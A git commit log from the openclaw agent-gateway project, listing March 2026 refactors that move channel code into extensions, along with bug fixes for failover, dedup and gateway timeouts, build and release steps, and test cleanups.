* fix: persist forceDocument in WAL queue for crash-recovery replay

* test: tighten heartbeat target test entry typing

---------

Co-authored-by: thepagent <thepagent@users.noreply.github.com>
Co-authored-by: Frank Yang <frank.ekn@gmail.com>
2026-03-14 19:43:49 +08:00
luzhidong
40c81e9cd3 fix(ui): session dropdown shows label instead of key (#45130)
Merged via squash.

Prepared head SHA: 0255e3971b
Co-authored-by: luzhidong <15848762+luzhidong@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-14 14:36:46 +03:00
Ayaan Zaidi
64e6df7eea docs: mark memory bootstrap change as breaking 2026-03-14 16:55:32 +05:30
Ayaan Zaidi
c79c4ffbfb fix(zai): align explicit coding endpoint setup with detected model defaults (#45969)
* fix: align Z.AI coding onboarding with endpoint docs

* fix: align Z.AI coding onboarding with endpoint docs (#45969)
2026-03-14 16:20:37 +05:30
scoootscooob
439c21e078 refactor: remove channel shim directories, point all imports to extensions (#45967)
* refactor: remove channel shim directories, point all imports to extensions

Delete the 6 backward-compat shim directories (src/telegram, src/discord,
src/slack, src/signal, src/imessage, src/web) that were re-exporting from
extensions. Update all 112+ source files to import directly from
extensions/{channel}/src/ instead of through the shims.

Also:
- Move src/channels/telegram/ (allow-from, api) to extensions/telegram/src/
- Fix outbound adapters to use resolveOutboundSendDep (fixes 5 pre-existing TS errors)
- Update cross-extension imports (src/web/media.js → extensions/whatsapp/src/media.js)
- Update vitest, tsdown, knip, labeler, and script configs for new paths
- Update guard test allowlists for extension paths

After this, src/ has zero channel-specific implementation code — only the
generic plugin framework remains.

* fix: update raw-fetch guard allowlist line numbers after shim removal

* refactor: document direct extension channel imports

* test: mock transcript module in delivery helpers
2026-03-14 03:43:07 -07:00
scoootscooob
5682ec37fa refactor: move Discord channel implementation to extensions/ (#45660)
* refactor: move Discord channel implementation to extensions/discord/src/

Move all Discord source files from src/discord/ to extensions/discord/src/,
following the extension migration pattern. Source files in src/discord/ are
replaced with re-export shims. Channel-plugin files from
src/channels/plugins/*/discord* are similarly moved and shimmed.

- Copy all .ts source files preserving subdirectory structure (monitor/, voice/)
- Move channel-plugin files (actions, normalize, onboarding, outbound, status-issues)
- Fix all relative imports to use correct paths from new location
- Create re-export shims at original locations for backward compatibility
- Delete test files from shim locations (tests live in extension now)
- Update tsconfig.plugin-sdk.dts.json rootDir from "src" to "." to accommodate
  extension files outside src/
- Update write-plugin-sdk-entry-dts.ts to match new declaration output paths

* fix: add importOriginal to thread-bindings session-meta mock for extensions test

* style: fix formatting in thread-bindings lifecycle test
2026-03-14 02:53:57 -07:00
scoootscooob
e5bca0832f refactor: move Telegram channel implementation to extensions/ (#45635)
* refactor: move Telegram channel implementation to extensions/telegram/src/

Move all Telegram channel code (123 files + 10 bot/ files + 8 channel plugin
files) from src/telegram/ and src/channels/plugins/*/telegram.ts to
extensions/telegram/src/. Leave thin re-export shims at original locations so
cross-cutting src/ imports continue to resolve.

- Fix all relative import paths in moved files (../X/ -> ../../../src/X/)
- Fix vi.mock paths in 60 test files
- Fix inline typeof import() expressions
- Update tsconfig.plugin-sdk.dts.json rootDir to "." for cross-directory DTS
- Update write-plugin-sdk-entry-dts.ts for new rootDir structure
- Move channel plugin files with correct path remapping

* fix: support keyed telegram send deps

* fix: sync telegram extension copies with latest main

* fix: correct import paths and remove misplaced files in telegram extension

* fix: sync outbound-adapter with main (add sendTelegramPayloadMessages) and fix delivery.test import path
2026-03-14 02:50:17 -07:00
scoootscooob
8746362f5e refactor(slack): move Slack channel code to extensions/slack/src/ (#45621)
Move all Slack channel implementation files from src/slack/ to
extensions/slack/src/ and replace originals with shim re-exports.
This follows the extension migration pattern for channel plugins.

- Copy all .ts files to extensions/slack/src/ (preserving directory
  structure: monitor/, http/, monitor/events/, monitor/message-handler/)
- Transform import paths: external src/ imports use relative paths
  back to src/, internal slack imports stay relative within extension
- Replace all src/slack/ files with shim re-exports pointing to
  the extension copies
- Update tsconfig.plugin-sdk.dts.json rootDir from "src" to "." so
  the DTS build can follow shim chains into extensions/
- Update write-plugin-sdk-entry-dts.ts re-export path accordingly
- Preserve extensions/slack/index.ts, package.json, openclaw.plugin.json,
  src/channel.ts, src/runtime.ts, src/channel.test.ts (untouched)
2026-03-14 02:47:04 -07:00
scoootscooob
16505718e8 refactor: move WhatsApp channel implementation to extensions/ (#45725)
* refactor: move WhatsApp channel from src/web/ to extensions/whatsapp/

Move all WhatsApp implementation code (77 source/test files + 9 channel
plugin files) from src/web/ and src/channels/plugins/*/whatsapp* to
extensions/whatsapp/src/.

- Leave thin re-export shims at all original locations so cross-cutting
  imports continue to resolve
- Update plugin-sdk/whatsapp.ts to only re-export generic framework
  utilities; channel-specific functions imported locally by the extension
- Update vi.mock paths in 15 cross-cutting test files
- Rename outbound.ts -> send.ts to match extension naming conventions
  and avoid false positive in cfg-threading guard test
- Widen tsconfig.plugin-sdk.dts.json rootDir to support shim->extension
  cross-directory references

Part of the core-channels-to-extensions migration (PR 6/10).

* style: format WhatsApp extension files

* fix: correct stale import paths in WhatsApp extension tests

Fix vi.importActual, test mock, and hardcoded source paths that weren't
updated during the file move:
- media.test.ts: vi.importActual path
- onboarding.test.ts: vi.importActual path
- test-helpers.ts: test/mocks/baileys.js path
- monitor-inbox.test-harness.ts: incomplete media/store mock
- login.test.ts: hardcoded source file path
- message-action-runner.media.test.ts: vi.mock/importActual path
2026-03-14 02:44:55 -07:00
scoootscooob
0ce23dc62d refactor: move iMessage channel to extensions/imessage (#45539) 2026-03-14 02:44:23 -07:00
scoootscooob
4540c6b3bc refactor(signal): move Signal channel code to extensions/signal/src/ (#45531)
Move all Signal channel implementation files from src/signal/ to
extensions/signal/src/ and replace originals with re-export shims.
This continues the channel plugin migration pattern used by other
extensions, keeping backward compatibility via shims while the real
code lives in the extension.

- Copy 32 .ts files (source + tests) to extensions/signal/src/
- Transform all relative import paths for the new location
- Create 2-line re-export shims in src/signal/ for each moved file
- Preserve existing extension files (channel.ts, runtime.ts, etc.)
- Change tsconfig.plugin-sdk.dts.json rootDir from "src" to "."
  to support cross-boundary re-exports from extensions/
2026-03-14 02:42:48 -07:00
scoootscooob
7764f717e9 refactor: make OutboundSendDeps dynamic with channel-ID keys (#45517)
* refactor: make OutboundSendDeps dynamic with channel-ID keys

Replace hardcoded per-channel send fields (sendTelegram, sendDiscord,
etc.) with a dynamic index-signature type keyed by channel ID. This
unblocks moving channel implementations to extensions without breaking
the outbound dispatch contract.

- OutboundSendDeps and CliDeps are now { [channelId: string]: unknown }
- Each outbound adapter resolves its send fn via bracket access with cast
- Lazy-loading preserved via createLazySender with module cache
- Delete 6 deps-send-*.runtime.ts one-liner re-export files
- Harden guardrail scan against deleted-but-tracked files


* fix: preserve outbound send-deps compatibility

* style: fix formatting issues (import order, extra bracket, trailing whitespace)



* fix: resolve type errors from dynamic OutboundSendDeps in tests and extension

* fix: remove unused OutboundSendDeps import from deliver.test-helpers
2026-03-14 02:42:21 -07:00
Teconomix
0c926a2c5e fix(mattermost): carry thread context to non-inbound reply paths (#44283)
Merged via squash.

Prepared head SHA: 2846a6cfa9
Co-authored-by: teconomix <6959299+teconomix@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-14 12:23:23 +05:30
Peter Steinberger
17cb60080a test(ci): isolate cron heartbeat delivery cases 2026-03-14 06:28:58 +00:00
Darshil
61bf7b8536 fix: annotate shared failover mocks (openclaw#39820) thanks @lupuletic 2026-03-13 23:25:04 -07:00
Darshil
dd6ecd5bfa fix: tighten runner failover test types (openclaw#39820) thanks @lupuletic 2026-03-13 23:25:04 -07:00
Darshil
105dcd69e7 style: format probe regression test (openclaw#39820) thanks @lupuletic 2026-03-13 23:25:04 -07:00
Darshil
e403ed6546 fix: harden wrapped rate-limit failover (openclaw#39820) thanks @lupuletic 2026-03-13 23:25:04 -07:00
Catalin Lupuleti
c1c74f9952 fix: move cause-chain traversal before timeout heuristic (review feedback) 2026-03-13 23:25:04 -07:00
Catalin Lupuleti
dac220bd88 fix(agents): normalize abort-wrapped RESOURCE_EXHAUSTED into failover errors (#11972) 2026-03-13 23:25:04 -07:00
Peter Steinberger
2f5d3b6574 build: refresh lockfile for plugin sync 2026-03-14 06:10:06 +00:00
Peter Steinberger
49a2ff7d01 build: sync plugins for 2026.3.14 2026-03-14 06:05:39 +00:00
Peter Steinberger
be8fc3399e build: prepare 2026.3.14 cycle 2026-03-14 06:02:01 +00:00
Peter Steinberger
6e251dcf68 test: harden parallels beta smoke flows 2026-03-14 05:54:49 +00:00
kkhomej33-netizen
e7d9648fba feat(cron): support custom session IDs and auto-bind to current session (#16511)
feat(cron): support persistent session targets for cron jobs (#9765)

Add support for `sessionTarget: "current"` and `session:<id>` so cron jobs can
bind to the creating session or a persistent named session instead of only
`main` or ephemeral `isolated` sessions.

Also:
- preserve custom session targets across reloads and restarts
- update gateway validation and normalization for the new target forms
- add cron coverage for current/custom session targets and fallback behavior
- fix merged CI regressions in Discord and diffs tests
- add a changelog entry for the new cron session behavior

Co-authored-by: kkhomej33-netizen <kkhomej33-netizen@users.noreply.github.com>
Co-authored-by: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
2026-03-14 16:48:46 +11:00
Peter Steinberger
61d171ab0b fix(browser): restore batch playwright dispatch 2026-03-14 05:34:37 +00:00
Peter Steinberger
32dcae9d01 chore: update appcast for 2026.3.13 release 2026-03-14 05:34:37 +00:00
Ayaan Zaidi
2ae8837987 fix: keep android canvas home visible after restart 2026-03-14 11:03:02 +05:30
Peter Steinberger
f6e5b6758e build: prepare 2026.3.13 release 2026-03-14 05:19:23 +00:00
Vincent Koc
a6bdf2dfd0 Revert "Browser: scope nested batch failures in switch"
This reverts commit aaeb348bb7.
2026-03-13 22:17:57 -07:00
Vincent Koc
aa0cb4ef01 Merge remote-tracking branch 'origin/main'
* origin/main:
  fix(gateway): bound unanswered client requests (#45689)
2026-03-13 22:14:51 -07:00
Vincent Koc
81ecae9d7a Merge branch 'main' of https://github.com/openclaw/openclaw
* 'main' of https://github.com/openclaw/openclaw: (640 commits)
  ci: add npm token fallback for npm releases
  build: prepare 2026.3.13-beta.1
  docs: reorder unreleased changelog by impact
  fix: keep windows onboarding logs ascii-safe
  test: harden parallels all-os smoke harness
  chore: bump pi to 0.58.0
  fix(browser): prefer user profile over chrome relay
  build: upload Android native debug symbols
  Gateway: treat scope-limited probe RPC as degraded reachability (#45622)
  build: shrink Android app release bundle
  fix: keep exec summaries inline
  docs: fix changelog formatting
  test(discord): align rate limit error mock with carbon
  build(android): strip unused dnsjava resolver service before R8
  build(android): add auto-bump signed aab release script
  fix(browser): add browser session selection
  fix(models): apply Gemini model-id normalization to google-vertex provider (#42435)
  fix(feishu): add early event-level dedup to prevent duplicate replies (#43762)
  fix: unblock discord startup on deploy rate limits
  fix: default Android TLS setup codes to port 443
  ...

# Conflicts:
#	src/browser/pw-tools-core.interactions.batch.test.ts
#	src/browser/pw-tools-core.interactions.ts
2026-03-13 22:13:33 -07:00
Tak Hoffman
5fc43ff0ec fix(gateway): bound unanswered client requests (#45689)
* fix(gateway): bound unanswered client requests

* fix(gateway): skip default timeout for expectFinal requests

* fix(gateway): preserve gateway call timeouts

* fix(gateway): localize request timeout policy

* fix(gateway): clamp explicit request timeouts

* fix(gateway): clamp default request timeout
2026-03-14 00:12:43 -05:00
Peter Steinberger
bc3319207c ci: add npm token fallback for npm releases 2026-03-14 05:08:19 +00:00
Peter Steinberger
94a292686c build: prepare 2026.3.13-beta.1 2026-03-14 04:56:02 +00:00
Peter Steinberger
4f3ed8f4ab docs: reorder unreleased changelog by impact 2026-03-14 04:50:36 +00:00
Peter Steinberger
ad65778818 fix: keep windows onboarding logs ascii-safe 2026-03-14 04:46:47 +00:00
Peter Steinberger
7e41ba4cbb test: harden parallels all-os smoke harness 2026-03-14 04:46:47 +00:00
Peter Steinberger
2ce6b77205 chore: bump pi to 0.58.0 2026-03-14 04:33:37 +00:00
Peter Steinberger
b6d1d0d72d fix(browser): prefer user profile over chrome relay 2026-03-14 04:15:34 +00:00
Ayaan Zaidi
1f9cc647f8 build: upload Android native debug symbols 2026-03-14 09:44:31 +05:30
Josh Avant
f4fef64fc1 Gateway: treat scope-limited probe RPC as degraded reachability (#45622)
* Gateway: treat scope-limited probe RPC as degraded

* Docs: clarify gateway probe degraded scope output

* test: fix CI type regressions in gateway and outbound suites

* Tests: fix Node24 diffs theme loading and Windows assertions

* Tests: fix extension typing after main rebase

* Tests: fix Windows CI regressions after rebase

* Tests: normalize executable path assertions on Windows

* Tests: remove duplicate gateway daemon result alias

* Tests: stabilize Windows approval path assertions

* Tests: fix Discord rate-limit startup fixture typing

* Tests: use Windows-friendly relative exec fixtures

---------

Co-authored-by: Mainframe <mainframe@MainfraacStudio.localdomain>
2026-03-13 23:13:33 -05:00
Ayaan Zaidi
f251e7e2c2 build: shrink Android app release bundle 2026-03-14 09:39:33 +05:30
Peter Steinberger
70459e7fec fix: keep exec summaries inline 2026-03-14 04:08:00 +00:00
Muhammed Mukhthar CM
a142853032 docs: fix changelog formatting 2026-03-14 04:03:33 +00:00
Muhammed Mukhthar CM
a4a5fdcd98 test(discord): align rate limit error mock with carbon 2026-03-14 04:01:42 +00:00
Ayaan Zaidi
f1d9fcd407 build(android): strip unused dnsjava resolver service before R8 2026-03-14 09:25:17 +05:30
Ayaan Zaidi
3fb629219e build(android): add auto-bump signed aab release script 2026-03-14 09:25:17 +05:30
Peter Steinberger
5c40c1c78a fix(browser): add browser session selection 2026-03-14 03:46:44 +00:00
scoootscooob
b857a8d8bc fix(models): apply Gemini model-id normalization to google-vertex provider (#42435)
* fix(models): apply Gemini model-id normalization to google-vertex provider

The existing normalizeGoogleModelId() (which maps e.g. gemini-3.1-flash-lite
to gemini-3.1-flash-lite-preview) was only applied when the provider was
"google". Users configuring google-vertex/gemini-3.1-flash-lite would get
a "missing" model because the -preview suffix was never appended.

Extend the normalization to google-vertex in both model-selection
(parseModelRef path) and normalizeProviders (config normalization path).

Ref: https://github.com/openclaw/openclaw/issues/36838
Ref: https://github.com/openclaw/openclaw/pull/36918#issuecomment-4032732959


* fix(models): normalize google-vertex flash-lite

* fix(models): place unreleased changelog entry last

* fix(models): place unreleased changelog entry before releases
2026-03-13 20:45:34 -07:00
yunweibang
f4a2bbe0c9 fix(feishu): add early event-level dedup to prevent duplicate replies (#43762)
* fix(feishu): add early event-level dedup to prevent duplicate replies

Add synchronous in-memory dedup at EventDispatcher handler level using
message_id as key with 5-minute TTL and 2000-entry cap.

This catches duplicate events immediately when they arrive from the Lark
SDK — before the inbound debouncer or processing queue — preventing the
race condition where two concurrent dispatches enter the pipeline before
either records the messageId in the downstream dedup layer.

Fixes the root cause reported in #42687.

* fix(feishu): correct inverted dedup condition

check() returns false on first call (new key) and true on subsequent
calls (duplicate). The previous `!check()` guard was inverted —
dropping every first delivery and passing all duplicates.

Remove the negation so the guard correctly drops duplicates.

* fix(feishu): simplify eventDedup key — drop redundant accountId prefix

eventDedup is already scoped per account (one instance per
registerEventHandlers call), so the accountId prefix in the cache key
is redundant. Use `evt:${messageId}` instead.

* fix(feishu): share inbound processing claim dedupe

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-13 22:37:40 -05:00
Peter Steinberger
2659fc6c97 fix: unblock discord startup on deploy rate limits 2026-03-14 03:31:50 +00:00
Ayaan Zaidi
df765f602b fix: default Android TLS setup codes to port 443 2026-03-14 08:54:01 +05:30
Peter Steinberger
8bc163d15f fix(ci): repair helper typing regressions 2026-03-14 03:22:53 +00:00
George Zhang
eee5d7c6b0 fix(browser): harden existing-session driver validation and session lifecycle (#45682)
* fix(browser): harden existing-session driver validation, session lifecycle, and code quality

Fix config validation rejecting existing-session profiles that lack
cdpPort/cdpUrl (they use Chrome MCP auto-connect instead). Fix callTool
tearing down the MCP session on tool-level errors (element not found,
script error), which caused expensive npx re-spawns. Skip unnecessary
CDP port allocation for existing-session profiles. Remove redundant
ensureChromeMcpAvailable call in isReachable.

Extract shared ARIA role sets (INTERACTIVE_ROLES, CONTENT_ROLES,
STRUCTURAL_ROLES) into snapshot-roles.ts so both the Playwright and
Chrome MCP snapshot paths stay in sync. Add usesChromeMcp capability
flag and replace ~20 scattered driver === "existing-session" string
checks with the centralized flag.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(browser): harden existing-session driver validation and session lifecycle (#45682) (thanks @odysseus0)

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-13 20:21:47 -07:00
Frank Yang
01674c575e fix(agents): preserve blank local custom-provider API keys after onboarding
Co-authored-by: Xinhua Gu <xinhua.gu@gmail.com>
2026-03-14 11:08:19 +08:00
Luke
bed661609e fix(macos): align minimum Node.js version with runtime guard (22.16.0) (#45640)
* macOS: align minimum Node.js version with runtime guard

* macOS: add boundary and failure-message coverage for RuntimeLocator

* docs: add changelog note for the macOS runtime locator fix

* credit: original fix direction from @sumleo, cleaned up and rebased in #45640 by @ImLukeF
2026-03-14 13:43:21 +11:00
Peter Steinberger
66e02b296f test: share memory search config helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
c5d905871f test: share oauth profile fixtures 2026-03-14 02:40:28 +00:00
Peter Steinberger
6720bf5be0 refactor: share exec host approval helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
3bc9d9177d test: share workspace skill test helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
6ad675c1e9 test: share subagent announce timeout helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
95b4132674 test: share provider discovery auth fixtures 2026-03-14 02:40:28 +00:00
Peter Steinberger
e474ac882e test: share model selection config helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
0e6f150c3b test: share timeout failover assertions 2026-03-14 02:40:28 +00:00
Peter Steinberger
dfcc2fae9f test: share context lookup helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
f0179d3b4a test: share workspace skills snapshot helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
8622395c8b test: share models config merge helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
7aedb6d442 test: share subagent gateway mock setup 2026-03-14 02:40:28 +00:00
Peter Steinberger
013ad58f3c test: share sandbox fs bridge seeded workspace 2026-03-14 02:40:28 +00:00
Peter Steinberger
6a61d5504c refactor: share extension deferred and runtime helpers 2026-03-14 02:40:28 +00:00
Peter Steinberger
1ac4bac8b1 refactor: share extension monitor runtime setup 2026-03-14 02:40:28 +00:00
Peter Steinberger
6decaebcf2 test: share plugin api test harness 2026-03-14 02:40:27 +00:00
Peter Steinberger
c3e78908c7 test: share feishu startup mock modules 2026-03-14 02:40:27 +00:00
Peter Steinberger
97dc493e2a refactor: share extension channel status summaries 2026-03-14 02:40:27 +00:00
Peter Steinberger
e885f1999f refactor: reduce extension channel setup duplication 2026-03-14 02:40:27 +00:00
Peter Steinberger
74e50d3be3 test: share send cfg threading helpers 2026-03-14 02:40:27 +00:00
Peter Steinberger
55ebdce9c3 refactor: share open allowFrom config checks 2026-03-14 02:40:27 +00:00
Peter Steinberger
38b09866b8 test: share directory runtime helpers 2026-03-14 02:40:27 +00:00
Ayaan Zaidi
8410d5a050 feat: add node-connect skill 2026-03-14 07:54:11 +05:30
Vincent Koc
bcbfbb831e Plugins: fail fast on channel and binding collisions (#45628)
* Plugins: reject duplicate channel ids

* Bindings: reject duplicate adapter registration

* Plugins: fail on export id mismatch
2026-03-13 19:13:35 -07:00
Peter Steinberger
27e863ce40 chore: update dependencies 2026-03-14 02:09:53 +00:00
Peter Steinberger
10afde99c1 fix: harden discord guild allowlist resolution 2026-03-14 02:09:19 +00:00
2233admin
5c73ed62d5 fix(sessions): create transcript file on chat.inject when missing (#36645)
`chat.inject` called `appendAssistantTranscriptMessage` with
`createIfMissing: false`, causing a hard error when the transcript
file did not exist on disk despite having a valid `transcriptPath`
in session metadata. This commonly happens with ACP oneshot/run
sessions where the session entry is created but the transcript file
is not yet materialized.

The fix is a one-character change: `createIfMissing: true`. The
`ensureTranscriptFile` helper already handles directory creation
and file initialization safely.

Fixes #36170

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 03:00:24 +01:00
Peter Steinberger
d925b0113f test: add parallels linux smoke harness 2026-03-14 01:56:24 +00:00
Peter Steinberger
965bdb2d2d fix: harden gateway status rpc smoke 2026-03-14 01:56:24 +00:00
ImLukeF
200625b340 docs(changelog): note voice wake crash fix 2026-03-14 12:48:51 +11:00
ImLukeF
17bd36bf4d refactor(voicewake): mark transcript parameter unused 2026-03-14 12:48:12 +11:00
ImLukeF
66cb015bb4 fix(voicewake): avoid crash on foreign transcript ranges 2026-03-14 12:48:12 +11:00
Vincent Koc
8b82a0124d Changelog: credit embedded runner queue deadlock fix 2026-03-13 18:47:47 -07:00
Peter Steinberger
9cfc2d4618 refactor: share request url resolution 2026-03-14 01:41:17 +00:00
Peter Steinberger
757077d028 test: share memory tool helpers 2026-03-14 01:41:17 +00:00
Peter Steinberger
42d6e35cb4 refactor: share session tool context setup 2026-03-14 01:41:17 +00:00
Peter Steinberger
d9a604f15f test: share web fetch header helpers 2026-03-14 01:41:17 +00:00
Peter Steinberger
231589ef66 fix: restore imessage control command flag 2026-03-14 01:41:17 +00:00
Peter Steinberger
258945d4d0 test: share status issue assertion helpers 2026-03-14 01:41:17 +00:00
Peter Steinberger
0acd1f63fc test: share startup account lifecycle helpers 2026-03-14 01:41:17 +00:00
Peter Steinberger
b61bc4948e refactor: share dual text command gating 2026-03-14 01:41:17 +00:00
Peter Steinberger
91d9573b55 refactor: declone model picker model ref parsing 2026-03-14 01:41:17 +00:00
Peter Steinberger
c0831927b0 refactor: share allowlist wildcard matching 2026-03-14 01:41:17 +00:00
Peter Steinberger
f4094ab19e refactor: share slack text truncation 2026-03-14 01:41:17 +00:00
Peter Steinberger
d886ca6474 fix: widen telegram reply progress typing 2026-03-14 01:41:17 +00:00
Peter Steinberger
5b53481d1d refactor: share daemon install cli setup 2026-03-14 01:41:17 +00:00
Peter Steinberger
5197171d7a refactor: share telegram reply chunk threading 2026-03-14 01:41:17 +00:00
Peter Steinberger
66de7311c7 test: share whatsapp outbound poll fixtures 2026-03-14 01:41:17 +00:00
Peter Steinberger
1ec6b012f8 refactor: share zalo status issue helpers 2026-03-14 01:41:17 +00:00
Peter Steinberger
7285e04ead refactor: share whatsapp outbound adapter base 2026-03-14 01:41:17 +00:00
Peter Steinberger
d4b193b581 test: share embedded workspace attempt helpers 2026-03-14 01:41:17 +00:00
Peter Steinberger
fb93acb046 test: share compaction retry timer helpers 2026-03-14 01:41:16 +00:00
Peter Steinberger
88de4769de refactor: share agent tool fixture helpers 2026-03-14 01:41:16 +00:00
Peter Steinberger
6e3f0f9fcb refactor: share tool result char estimation 2026-03-14 01:41:16 +00:00
Peter Steinberger
0db62fc6c5 refactor: share pinned sandbox entry finalization 2026-03-14 01:41:16 +00:00
Peter Steinberger
414e9c87cb refactor: share browser console result formatting 2026-03-14 01:41:16 +00:00
Peter Steinberger
997256d370 refactor: share memory tool builders 2026-03-14 01:41:16 +00:00
Peter Steinberger
d7637d3a19 refactor: share session send context lines 2026-03-14 01:41:16 +00:00
Peter Steinberger
4e055d8df2 refactor: share gateway timeout parsing 2026-03-14 01:41:16 +00:00
Peter Steinberger
d1fda7b8f2 refactor: share tts request setup 2026-03-14 01:41:16 +00:00
Peter Steinberger
f7f5c24786 refactor: share terminal note wrapping 2026-03-14 01:41:16 +00:00
Peter Steinberger
827b166bbc refactor: share zalo send context validation 2026-03-14 01:41:16 +00:00
Peter Steinberger
d55fa78e40 refactor: share delimited channel entry parsing 2026-03-14 01:41:16 +00:00
Peter Steinberger
e8a80cfbd8 refactor: share onboarding diagnostics type 2026-03-14 01:41:16 +00:00
Peter Steinberger
487e188112 test: share outbound delivery helpers 2026-03-14 01:41:16 +00:00
Peter Steinberger
81ea997d40 refactor: share self hosted provider plugin helpers 2026-03-14 01:40:41 +00:00
Peter Steinberger
66aabf5eaa test: share telegram monitor startup helpers 2026-03-14 01:40:41 +00:00
Peter Steinberger
3850ea1e0f test: share outbound action runner helpers 2026-03-14 01:40:41 +00:00
Peter Steinberger
8de2f7339c test: fix current ci regressions 2026-03-14 01:29:04 +00:00
Jaehoon You
2bfe188510 fix(macos): prevent PortGuard from killing Docker Desktop in remote mode (#13798)
fix(macos): prevent PortGuardian from killing Docker Desktop in remote mode (#6755)

PortGuardian.sweep() was killing non-SSH processes holding the gateway
port in remote mode. When the gateway runs in a Docker container,
`com.docker.backend` owns the port-forward, so this could shut down
Docker Desktop entirely.

Changes:
- accept any process on the gateway port in remote mode
- add a defense-in-depth guard to skip kills in remote mode
- update remote-mode port diagnostics/reporting to match
- add regression coverage for Docker and local-mode behavior
- add a changelog entry for the fix

Co-Authored-By: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
2026-03-14 12:26:09 +11:00
Sally O'Malley
e5fe818a74 fix(gateway/ui): restore control-ui auth bypass and classify connect failures (#45512)
Merged via squash.

Prepared head SHA: 42b5595ede
Co-authored-by: sallyom <11166065+sallyom@users.noreply.github.com>
Co-authored-by: BunsDev <68980965+BunsDev@users.noreply.github.com>
Reviewed-by: @BunsDev
2026-03-13 20:13:35 -05:00
Peter Steinberger
19edeb1aeb test: tighten node shell platform normalization 2026-03-14 01:05:46 +00:00
Peter Steinberger
e3637253ef test: tighten target error hint trimming 2026-03-14 01:05:04 +00:00
Peter Steinberger
604203c179 fix: tighten pairing token blank handling 2026-03-14 01:04:18 +00:00
Peter Steinberger
5ef458ca56 test: tighten openclaw exec env coverage 2026-03-14 01:03:24 +00:00
Val Alexander
40ab39b5ea fix(ui): keep oversized chat replies readable (#45559)
* fix(ui): keep oversized chat replies readable

* Update ui/src/ui/markdown.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* fix(ui): preserve oversized markdown whitespace

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-13 20:03:19 -05:00
Peter Steinberger
89e52d6178 test: tighten hostname normalization coverage 2026-03-14 01:02:20 +00:00
Peter Steinberger
2351caa9cf test: tighten prototype key matching 2026-03-14 01:01:27 +00:00
Peter Steinberger
0146345b88 fix: tighten target error hint coverage 2026-03-14 01:00:51 +00:00
Steven
25f458a907 macOS: respect exec-approvals.json settings in gateway prompter (#13707)
Fix macOS gateway exec approvals to respect exec-approvals.json.

This updates the macOS gateway prompter to resolve per-agent exec approval policy before deciding whether to show UI, use agentId for policy lookup, honor askFallback when prompts cannot be presented, and resolve no-prompt decisions from the configured security policy instead of hardcoded allow-once behavior. It also adds regression coverage for ask-policy and allowlist-fallback behavior, plus a changelog entry for the fix.

Co-authored-by: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
2026-03-14 12:00:15 +11:00
Peter Steinberger
1aca4c7b87 test: tighten outbound session context coverage 2026-03-14 00:59:56 +00:00
Peter Steinberger
cbd264f33d test: tighten outbound identity normalization 2026-03-14 00:59:03 +00:00
Peter Steinberger
8dab4a48c4 test: tighten package tag prefix matching 2026-03-14 00:58:12 +00:00
Peter Steinberger
4d523f4e19 test: tighten node list parse fallback coverage 2026-03-14 00:57:29 +00:00
Peter Steinberger
91f725a998 test: tighten update channel display precedence 2026-03-14 00:56:42 +00:00
Peter Steinberger
9050aa9efd test: tighten channel activity account isolation 2026-03-14 00:55:32 +00:00
Peter Steinberger
a23a23ba69 test: tighten bonjour ciao coverage 2026-03-14 00:54:42 +00:00
Peter Steinberger
9fbb7eb2e1 docs(changelog): note upcoming security fixes 2026-03-14 00:54:19 +00:00
Peter Steinberger
70d6217dbe test: tighten backoff abort coverage 2026-03-14 00:53:47 +00:00
Peter Steinberger
e794417623 fix: resolve current ci regressions 2026-03-14 00:51:12 +00:00
Peter Steinberger
17eaa59a7a test: tighten json file helper coverage 2026-03-14 00:44:12 +00:00
Peter Steinberger
958a2f31da test: tighten is-main helper coverage 2026-03-14 00:43:19 +00:00
fabiaodemianyang
983fecc106 fix(feishu): preserve non-ASCII filenames in file uploads (#33912) (#34262)
* fix(feishu): preserve non-ASCII filenames in file uploads (#33912)

* style(feishu): format media test file

* fix(feishu): preserve UTF-8 filenames in file uploads (openclaw#34262) thanks @fabiaodemianyang

---------

Co-authored-by: Robin Waslander <r.waslander@gmail.com>
2026-03-14 01:42:46 +01:00
Peter Steinberger
2083b0581d test: tighten system run command normalization coverage 2026-03-14 00:42:13 +00:00
Peter Steinberger
576134ec73 test: tighten wsl detection coverage 2026-03-14 00:41:22 +00:00
Peter Steinberger
4eb279036a test: tighten warning filter coverage 2026-03-14 00:40:23 +00:00
Peter Steinberger
9984e83d1e test: tighten path guard helper coverage 2026-03-14 00:39:27 +00:00
Peter Steinberger
7621589ba2 test: tighten proxy fetch helper coverage 2026-03-14 00:38:43 +00:00
Peter Steinberger
482fdd8c05 docs: reorder changelog highlights by user impact 2026-03-14 00:37:56 +00:00
Peter Steinberger
226c1be964 fix: tighten bonjour whitespace error coverage 2026-03-14 00:36:31 +00:00
Peter Steinberger
701bed85f8 test: share models list forward compat fixtures 2026-03-14 00:35:07 +00:00
Peter Steinberger
a6385091e0 test: share gateway status auth fixtures 2026-03-14 00:35:07 +00:00
Peter Steinberger
dcbc574a27 test: share browser route test helpers 2026-03-14 00:35:07 +00:00
Peter Steinberger
4523260dda test: share gateway route auth helpers 2026-03-14 00:35:07 +00:00
Peter Steinberger
727fc79ed2 fix: force-stop lingering gateway client sockets 2026-03-14 00:33:39 +00:00
